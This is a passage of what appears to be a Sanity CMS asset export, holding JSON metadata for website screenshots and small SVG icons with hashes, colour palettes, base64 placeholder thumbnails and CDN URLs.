f"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3bcb4","foreground":"#000","population":4.88,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c8c","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#628ca7","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85923","foreground":"#fff","population":7.91,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3MggLA9OLDbYdLjn5eZSx6-image","path":"images/sczeoy4w/production/37380a33848453a75403a05e3f48b5dfcd5a1e18-1567x844.png","sha1hash":"37380a33848453a75403a05e3f48b5dfcd5a1e18","size":310169,"uploadId":"khGgdaita0SSPPEAoh4eFGunhpewjGxy","url":"https://cdn.sanity.io/images/sczeoy4w/production/37380a33848453a75403a05e3f48b5dfcd5a1e18-1567x844.png"} {"_createdAt":"2022-06-15T20:02:46Z","_id":"image-6e1a283a38a86e1da6a44c369fb06b7fdf491479-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8L6n","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:15Z","assetId":"6e1a283a38a86e1da6a44c369fb06b7fdf491479","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA7-:F%gI9t7a#?w%2IUkCj=IAV?t7j]of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACtklEQVQokWWTa1MTBxSGtwmQQBQ2aALaEkJCNsluAksSSCvgIBYJNxnZwN7YXIlF6ThVZrQDU4ymtk5g1E5/8ONkmfGLH54559OZ9z3nPYKYMrmdsbklW4ymTUbTFsEe8iGi4jCarRKarRFW64TUOsGZBoPZFh7lKUK69T2RQoP8+h8Ut05Z2DwlX3pJvvSKhZ03zG2+Jr/9J4vlC5aNDkt6h2L5HcmNc4bnX+CVW3hTdbzJKl7pGiFabLG4+5o144JVo82i9hfL+2955PzNA7PDitVhvd6l1PpMqfWFteZn7lcuyey2ubP8ksDMEf2SQ1/Cpn/aQpj85ZilJ2eUDjusOf+wZH5gxf7AZqPLRvOS1WqX1dol660vbD/7362/Nj6xUr1C2b5gpHDiquxLHF4PnFh6wb1ym7XKv6w6H3lYu+RR44qN5hXrzU/cd7rcsz7yoHbF1m//8bDaJbt9TnTllFDxd3yZI9fqN4Xh4glK6Q25x+fMbp2xsHdBUWuT32ujPnnvWpN33pLdfUdBe4+6c8bdn48Zkh38SRu/ZDGYMBiKH7gIg6kKw0rVvWiPYLaGONvkpvqUwNxzArkTbuSeczP/jGDhmPD8EWP5CrdVm9CMRVjRGU9pjEt7hBMawkDcwDe1jz+q4Ytq9E/t0xfT8cZNvNM2noRDv3RIQLYJZk3uzOlMzhtEFyyieYuYqhPPHDAp64ynTQQxrjGW0gkrFiNJg6HYPv5YGb9bDxiYNvFJNoFeLrM2Y6rJRMEgUjCZyFlEVIvIjMWPGYewUkEIJcpEshY/5eoEMw7+aZ2B2AG+mM5AXHcX7ZUqeNINPHITv1JjOGMjKiaibCCmDcSUgZg0GUnaCIOSzY20Q0Cu4ktdh9PTC2kvrMkqnmSNH1KNb5/Q6/skh96qXCdT2jWxMr64zlcgrHzNGb9vHAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#293158","foreground":"#fff","population":0.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":19.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":19.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#baba9b","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bada","foreground":"#000","population":0.64,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae5677","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c7914f","foreground":"#000","population":0.57,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6e1a283a38a86e1da6a44c369fb06b7fdf491479-1567x844.png","path":"images/sczeoy4w/production/6e1a283a38a86e1da6a44c369fb06b7fdf491479-1567x844.png","sha1hash":"6e1a283a38a86e1da6a44c369fb06b7fdf491479","size":91377,"uploadId":"bNQdTAvxg8FuBXhQiKRy89auUt6W1ytK","url":"https://cdn.sanity.io/images/sczeoy4w/production/6e1a283a38a86e1da6a44c369fb06b7fdf491479-1567x844.png"} {"_createdAt":"2022-06-15T20:02:47Z","_id":"image-80b7c3577a40d2db5457f8987d5cb655eb9597a9-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8LWL","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:22Z","assetId":"80b7c3577a40d2db5457f8987d5cb655eb9597a9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MRQ+jCYkw}R5k=B?R5xZX9e.%gMcI:%2bb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADFUlEQVQokVXM22/bZBiAcf91SFxywQViCCGQAGliW4sYNG2hFWJJ0ajENo2BehJdRdIUaBlb5xxa0rRp2i5dsgbHyRLHTmL7O9hOHCfL8X0RFTdc/PTcPYJaYxNlxViRS1pIkqtrhaK6LMnVFbmoPVRrdJOwdphZnf+h3AsT3gkTqxsmvLtpMm+LMG+N8vaM8DwnLyWPzorxvUMrGjswY/Gksbd/ZP6VOKbn2QLX6ow3DJvXdZsbpMVN6nLTsLmpNDgta5yoJjMNxyK0VWGsuSWcZ6VQ4iBtReNJjEQTKEYTGNs7vJRKP8ezTB53Hom49esfGIsnMZ3OoHR6irq4g87GEjrBIFqHJ8iUessiPCpUNfJLqVyncknDgqyOJbkKBbkKUkG57NPIPly/PglX3nkXpqdn4d7id7D90/eQW14EfnsGulOT447/W3SfROxWVREFyr0g5R6j3EPK23CJuUBZCwixIX18hv5vbsGNa9dw/ssZXJz7HFf8U/hk7QH+/XsQm0v3YXDzC+zfuu10U4eiwHg7yHibce4i5y5YvIUWd9DmNtqMo6FpeHGeweODfUxsr6N49zN8fG8Gd4I/YywiYimyC54/gKOJm04/vCkKnDeDFneYzS4HY4cycCiBJjWhRXRwSQNcUoemroL17BGw1fehtvwRZB+vQXx3G1KhdSBzszi8MeEMNzdEwaE06BBCHWJikxjj1n+DNqmBZ6rgmQp4RgXaehm6UhSG4Y9h+MNr0A5NghJaAMn/6ZhefQ+9r6Yc++lvEcFVX4ZspchZtYhOvYyeoWDHrGDXKOMro4SvjCL29AL2GhfYVw5wmLqDsP4Wwp3Xsb/wBnZ9b2Ln60+QbTxoVZK7ccGTz+9a+bOMLmVUruQrHb2o9Iyi0tMLSl+XXg70vDxoXMjDekYeaUfyuLQrw9F9GUITMv74oYyrvtJIXK26mUjOyCXWha7y4m23nJ11KrmFtpYP9HQp0NelwEDP+weNi/lhIzc9amR94/oz37h24oN/qSkfyFEfvPhzGqTYPFRTgXHtdG6knnzwD3Me2RFCC1B9AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323748","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#803403","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f74a3b","foreground":"#fff","population":6.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4d4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f74a3b","foreground":"#fff","population":6.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60708c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8670b","foreground":"#fff","population":1.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"80b7c3577a40d2db5457f8987d5cb655eb9597a9-1567x844.png","path":"images/sczeoy4w/production/80b7c3577a40d2db5457f8987d5cb655eb9597a9-1567x844.png","sha1hash":"80b7c3577a40d2db5457f8987d5cb655eb9597a9","size":220887,"uploadId":"gnCY4wNYEE52pAipdg5i0Mu4fBoZArcW","url":"https://cdn.sanity.io/images/sczeoy4w/production/80b7c3577a40d2db5457f8987d5cb655eb9597a9-1567x844.png"} {"_createdAt":"2022-06-15T20:02:47Z","_id":"image-ae12cb16f157392e104097030b5b13ee3fbdc66c-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8MUj","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:35Z","assetId":"ae12cb16f157392e104097030b5b13ee3fbdc66c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M65=hu.9RlV@ae?w-;R.M{R%X7%1t6RjWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACUElEQVQokW3S20/TYBzG8Q46NnTiGGdEDtu6t+82GMMxQA6RQ4IJEcw2tnYd7DwO0QvkQsUgChov9H/+mhYEMV58kvaX9OnbXx+lM3FIYKbFUKrJwEyD3kSVnkSVwFTF0TtVxi8MOieyeMcz1yayeIK7dIQMVM2iTVRpExXc4SLKwPIpiZ0Lls3vLOW/kto+I73ziYXMOYvZc9Kv3jOebuAL5/FO5OgM5vA6YQUnQNUsVG0PVSvhDlsowyunpHJXbFR/8bL2k3XrG2vFK7aqP9iu/WA9f87k6hvG0g3G5w8YXzikL1nDK0pOiPoPZXDumMTWR5YLl6wVL1nZ/cz86zNeFC7YML+wuPOB5OYJ05vvnPnzzDna6gneeANF1HDp9XsU32Sd/tlDRuaPGJtrMTrbYOhZgydz17Ph9AGDqSaDqRYjC8eMLr2lZ/YINdZEkU2UaOs+l2zQLip0aBaekIE3lMcTNujQirg1y5n7hEm3XiAgDfzREo/jFbriNR7FbkRtdYeiyBaKXqctUqY9sn/Dvi47M7fYpy9uoE1n0ZNZRLKASFroyRJyykLGTWS0iJQWUpauT9h2wyXv78OmyhqBqT2CMwaaLWkgpk1EwkROGshoHikLSN0gKkwUn7AIxMp0J+o8iFVxR/Zod1yfVo3s45FlHsYr+GJluqSFXzfxiyJ+YeKPmPi1O0q/lmUsbvI0WSYQs+gM5Z3C2h2ze2VXwS6tYn+BvRrxZzV3L/2b0hXM0B3O4Y/k8YV28QZzt4H2Qy695oQ5f/SWff9/vwFz8mlldNCxeQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b2855","foreground":"#fff","population":1.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":30.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":30.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2b5d3","foreground":"#000","population":0.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4a4dc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a557a7","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd584d","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ae12cb16f157392e104097030b5b13ee3fbdc66c-1567x844.png","path":"images/sczeoy4w/production/ae12cb16f157392e104097030b5b13ee3fbdc66c-1567x844.png","sha1hash":"ae12cb16f157392e104097030b5b13ee3fbdc66c","size":86900,"uploadId":"RKWU6HeoxCOY1ugMRoMWgWFahYKsVG5R","url":"https://cdn.sanity.io/images/sczeoy4w/production/ae12cb16f157392e104097030b5b13ee3fbdc66c-1567x844.png"} {"_createdAt":"2023-08-25T07:51:29Z","_id":"image-6ca03bbf6a0718a2a097dad4c4a4316c109faca5-1567x844-png","_rev":"JgIs2qI3CUllaKCG3TsdVx","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T07:51:29Z","assetId":"6ca03bbf6a0718a2a097dad4c4a4316c109faca5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB7w~@-:ISaejv?wtQM_kDbIMwRQoft8oI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACbElEQVQokSXRa0/aYAAF4P4CKS3t2/Zt+7a2XJwCiYtzZjgnXkAYV6FQbOVW5SaibHMQpts0gma6KFnilszEn7qxJSfn25Pz4WAk1ICoA1RgpF1GKgPJ4pSm6O6Ini7yfJCe9eW5M6f/q+IdCK5DINcpVCNhCWd0G8hg8kxpcbmzGuq92ewH1voLy73FlU+vNy+CkauN2G0ocRdK/ohuP4ST989fDaBao8QaJTYIvmLnDMzls9aj/UxhmCmMEtlhKH6xlRwltO9pfayZD4b1aFhPO9WnrPlzafUUqnUgd1jlBMhHtNSe4GC4l9TO0/owoQ0jqct49ptmjFP5cSw7zhi/csXHbeP3Vvre/7LPKW1W7UHXgJv0GabOVgLBd+H4aSp3ua1fR1KX0fRVSr9L5u8jqbu16Pel4M184Hpu4QuaOQZSg5batNQGcodTe5jkLs4vHQSC70Oxs6Q2CsUvVrfON2JX4eTN+tvbFysjxfeZdw1YpUuhOgFLBGcSnEnyZRo1MZLXWLkAFVPyVN3+ltPXnp7tqN6u03/i9PXk2R509Vn1Iy0fknzVzhkELP4PJdYwG52eBGRxJm/nTIIvO4Q9h9igUItCTQo1gXzETHdpqUXAop3dcQj7FGqQfIXkqxhgUkjIINWESskhFAk4wdQEN0nBImCJFKqUWHcIe3bWwFl9chVqEHAXZ/KYzKe8as7rs5zeGitXHGKFRvtAagH5gBItAhokb1Ki5RAqOKPjTO7fZtnG5KboNCZK+WmloLhLkqfKqxZ01gRXS3QfIs+x4GpzisUpFlSbNKriTM4GsnZ2B2f1KZD5i/8A4ZqoIiktLPkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e456c","foreground":"#fff","population":1.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04176f","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dcea","foreground":"#000","population":7.71,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8dcea","foreground":"#000","population":7.71,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949be5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f91","foreground":"#fff","population":1.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#232d90","foreground":"#fff","population":3.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"postgre-sql-service-custom-configurations.png","path":"images/sczeoy4w/production/6ca03bbf6a0718a2a097dad4c4a4316c109faca5-1567x844.png","sha1hash":"6ca03bbf6a0718a2a097dad4c4a4316c109faca5","size":133542,"uploadId":"QPo62Hwx5b4xDd7bwR8cVwsZslTsiyMD","url":"https://cdn.sanity.io/images/sczeoy4w/production/6ca03bbf6a0718a2a097dad4c4a4316c109faca5-1567x844.png"} {"_createdAt":"2022-09-07T11:39:46Z","_id":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_rev":"cEPH2uRN58AU2lp9QMtDEv","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:46Z","assetId":"464c0c76b1b33f3b61b2605b9716b5455cf696f3","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC3ElEQVQ4jV1VSWuUQRB9k2g8JJpAQFwurpe44nIRRHDBDUTBDXe/15NRQYx60IvrxeWmB416UFDRk4qCK+jRv+MvqCdVX81kJg3F9HRXval69aoHImAEVADfq0JDFfpUoT8/G3oY5713RJ8KGtbsim2idrRWHMwUsVDEFhHHRVDEQREbRMx1s3p/0IhKxDERm0UsiFgHrhzwTIDNErFaxGURb0X8NOK3iK8inou4IuJq7v3M736IeG3ERMQWzNLZOkNPf4WIO+n0TsStBHgg4pOIv2mf8uyqSvi/z5jbgVGh37MbFdES8S0z2CVivogREUtEHBXxVMQTEUfirGBEJUrdbcRzq2NbqjDqgOtFPBPxQcR+VRgMkp2TdUHHsArGwog5+pdNcO6JQREHMtYx1nvAPhFfRDwSsUwXgeicd62V3fXP84BOAHalSxUXwm+5iMciPjsWsoyfIu5FqbUMGgHYDmzb6Y58ap/xAPfS7yeXhz1ob5L9xIixcE4J6Ng0QLeTeecZnwzAFcnxRxF7HHCVp2x12cdVMGxHMrta6FP7tp0FtCP5JU50UbZy+uFLFWwXMZRl1cEFsK59TsaQiB0iXmkqmTltvpaKuGbE90x/qxFD5qJvN8hBWwlag20VMWnEDyOuhZzG0ah/mZiZXLhAfxkxKWKbiNk6DJiDOPih8J2dd5PZzNteqvn4xehNdXJAxFoRdx00dbVTFYZ1FNCl8B1J4b/ogBWsiVjPvqDmxqrOTA/kTN/0UoJTYp8VjFoToyqhWefMy7wRDS0YCBqyeb2SmOiUP5a8+Ei9VQHDiDd5dl0uMS/zfK9ee8Xr41Q3YYZPgL8kKac/blZPw6WcjhnmQm+/hWmx2oBRuu+9/PqBXSyimU+aWxGxyIh+O9UL5tR1VidLB3RH/34ugPutwjwjNrmJmKcm+rzMmOfxjozqcqevALwL2HQqGFptdP1NQBsB89F0qXSt/++9bS5GkCv7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c242c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#810c04","foreground":"#fff","population":1.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#810c04","foreground":"#fff","population":1.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#883910","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e87c44","foreground":"#fff","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#913707","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f05c0c","foreground":"#fff","population":0.35,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-heart.svg","path":"images/sczeoy4w/production/464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24.svg","sha1hash":"464c0c76b1b33f3b61b2605b9716b5455cf696f3","size":479,"uploadId":"sDi9ieEbBJMqf6RTlmNnLLiWYVsVxQVA","url":"https://cdn.sanity.io/images/sczeoy4w/production/464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24.svg"} {"_createdAt":"2022-09-07T11:39:45Z","_id":"image-d098c89aa75fd3ac9a72fbce0df9f861baaaf3e6-24x24-svg","_rev":"cEPH2uRN58AU2lp9QMtD8j","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:45Z","assetId":"d098c89aa75fd3ac9a72fbce0df9f861baaaf3e6","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACr0lEQVQ4jY1VS2+NURRd97aUJo1oJWKANDVRr5hIOzNgZCJF1COk3zoUFTNJg4FXImFuoCaIxGOC0KqIqsZAYiQmxG85S/Y++2tvS8KXrOx9zz133f1Ye39QBahCI1domo3PjvrRSUCnAB0DNBLfE40AHKfjN3HYJ2J32GZ9yckI5PFCmI30NpBHgFxI4eTnF3wEwUERE2E7grChBDgYtkTYzBW6RKwNdDlHRG6X20ScFTEr4oyI5TVBTgs2lwjaIoujIq6LuBZ+nxLaC2FCmxLOKWFOCWNK6PR6lXOLvhm2LRMbRVwQ8UrEe0MmXsbZBouyNcKvIu6LOKKEIU8/4UCLPZSJSyLeZuK5ZZOJ0fANe3OFhhG2K3mqP5TwSwmzSphRwkcH3c64Jb6L+CnihipsUIX1Im7mEu3xTDSdMJcIv4mYsgsirirhmoPz1mr2QMQXEfcsIhF7wn+thP1WHq9VLjX8rISLSlinhFUiupWwusX2iNgl4raId5Hm8/BvKWGLSy1qeE7EXES6fJFUWn1iZSYGRFwR8UjEQxGXRQx6M2vCHIQixkR0uoBLZ02L9UQ0cvFXiOh1koLeOCvDENqyjpkOx1TNy6aM1eIIbTy7VaI8HBiIsvjY2ghZJJWID5kYz1arQvi3lK2WQyGv6cCE6LLqqXVowt0n4kXUxcZvp4jtIra5TW53mBbjzqSIO4HJIB205VKP16acvLhTmXgj4pmIp2GfKc37n3LRohH1i9gcvnV6uJaNbZIOJY/ERu+uiMctJIsIQ9x3VKHfQSecVqoJbf08cdJlOWGNR0tszZZm+v+Uc/LmNKATgKw5rU1Yij+bMpFLmnVThpTQbRupLMrR2Mj1yloiF7vo66to0ybG9DdsaXpkhcz35z+f1leCo2xr02hZbfVrIP74NwLFfV4Jkn2bAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7a5d42","foreground":"#fff","population":0.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#550504","foreground":"#fff","population":2.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f55f0d","foreground":"#fff","population":7.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7a351e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d47454","foreground":"#fff","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c6f4e","foreground":"#fff","population":1.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f55f0d","foreground":"#fff","population":7.81,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-git-branch.svg","path":"images/sczeoy4w/production/d098c89aa75fd3ac9a72fbce0df9f861baaaf3e6-24x24.svg","sha1hash":"d098c89aa75fd3ac9a72fbce0df9f861baaaf3e6","size":334,"uploadId":"1mQ3628sgtaN7nWWb7jt4EMtSJ5AduiH","url":"https://cdn.sanity.io/images/sczeoy4w/production/d098c89aa75fd3ac9a72fbce0df9f861baaaf3e6-24x24.svg"} {"_createdAt":"2022-09-07T11:39:43Z","_id":"image-a145021d9dfd38c501e1262164f3d3f33511d50a-24x24-svg","_rev":"CK1sLU2mnwa3vmbYW9GInp","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:43Z","assetId":"a145021d9dfd38c501e1262164f3d3f33511d50a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiElEQVQ4ja2UO2hVQRCGv5sYTFQQFYSkSFRQUWxsRBFNREEhRCTBWEQlycy9iYpaWQlaCFYKNgYxgqB2Pjoj2PqCFIK9lTZa2Ai2+8s+TnIvhqTxwLAwO+ebf2Z2F02DxkAXQA4yCHXQNQhWfBOgcYixK346C7oMYRJ0KQHa5ayR06k6Nd0pSU5CGAY1VgBrqiiIVqdDzi45o3IG5XSHKWpJnZXYmHhiOaCDzqfMEbZHzs3gvJfzWs6EnJ4EHSux9bJWNp3X0GgG1hdgN4LzWc4fOb/kvJEznpQ2qCWVk02w0aI8Qk+XVshS4HYZ14PzVs68nO9yvsr5KOeFjHMyNiV1WeEqeRJRW1B8OA8uZmyTcVTGIzn35dwKzjs5r2L5Mp7KuC1jhy6mnzfKOSjnmJw+NWhP/Y9KBzMwKtwtY0TOATlDpdQHcvbLOC5jSEZ3gQ3LeVZ6fFXOthChcXCegfG8dcjSUYllDMgScEbOFuW9dXI2F9hzOT/l/A7OhwoalYYKmORWh9gYKApnZPQW33o5p4qy+eB8k/NDzhc5c3KuyOiL81gEVmurwgq4s/TxpZy7sdzgfJJzT84TGY9lHInzyEenUpiB/UmhtQB7gzEm40xK6DwsVYzIOSHDZOyN81gWGAowGKtlbJSxVs7WkNsxV+BdMjbI6IpV/gs0+lOwlR7mJLXq8QhZbQbG2OzLD8kCsPkqZYUxeyo5Ti7kw9+Wfs6+mRLT39L/ChhWUpiB+epl36JCK6+RNT8QrcB9MmZl6ZZ0LwHsLnuzJZbKlgQGo0fGoIxD6UC3JosWfXFvsMQuAYw9iDcmr+2aTBPrTNey7DVZ9MW9GNNe/lnsXwLGe/gfLH5/AXM6PhuiNCqYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#142414","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a0404","foreground":"#fff","population":2.6,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4660f","foreground":"#fff","population":10.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#79351f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d06c4c","foreground":"#fff","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#923b06","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4660f","foreground":"#fff","population":10.42,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-arrows-up.svg","path":"images/sczeoy4w/production/a145021d9dfd38c501e1262164f3d3f33511d50a-24x24.svg","sha1hash":"a145021d9dfd38c501e1262164f3d3f33511d50a","size":226,"uploadId":"bbx0gke6goWtpGveWwdcV0CTNZ5eXiJy","url":"https://cdn.sanity.io/images/sczeoy4w/production/a145021d9dfd38c501e1262164f3d3f33511d50a-24x24.svg"} {"_createdAt":"2022-09-07T11:39:44Z","_id":"image-29107c2858e1703d824dae21515eaa4bfa75a216-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFjjx","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:44Z","assetId":"29107c2858e1703d824dae21515eaa4bfa75a216","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADK0lEQVQ4jUVUW2uVVxBdJh5tVEwjfRCFkmpFQROhDSqImmJBLRWk4gVUPOdbO2m9QIKgqA+iINhKUaSaWtuiLaX1jmLxVuiTb/4EwZ8yS2b2nPgw52y+mbX27Jk1AzWAxtIOAzoCqAOoQUvEchE7RBxI8/Ny95nHfAfoW0Al8UT9MXccDJJZatCnBj1qMEfEdhF/iXhtxOs8bw9fjekTMSsSOFSJK/t4EA+I2CBimxosVoO5IkZFXBPxNs3Po+4zjyG2WcUMWL4yMhQDvFXEdRGXRXwhYo0RFPGbiDdpfqYRazLmcmIcOzcytBNBuFDEURF3M+i0iF9FPDHimYj/w0qcn4i4IeJUxt5N7EKdQDaB6Bex2YhjIq6KeJrAH0S0jfhKbgVtFVy06vOYn1Qxm4PjkBM2gBX0ivjEiMnM6G8R+9RgqRp8pILBND8vFbE/Y56JmBQxqAa9UUPzGpaQyCYRf4p4IGKXiAUhi4JFKhhLWxQya7BAxG4RDxOzUR20vLlVLiUCJkS8FHHSGCS1YQUrVXDTCm7G2WXmGEaXTyVmIi5xQtsdoGUquCTisYivRbTUlVTBcBbebdiflYSt1OljMbCf6kcHuSiJkezqLRWsjSwqWc2Q+EfEfz4p1kG/OuhRBzNErBPxR2I/V9sz9JowSH4PnRWMxLfuSBEfizhvxKu4sMGOeF47CEdSm45d68nVGSwYUsGUCm6rYJPGIrgreh/BdUac8c4acVwNBiPLOkl3REwZMeT96DZls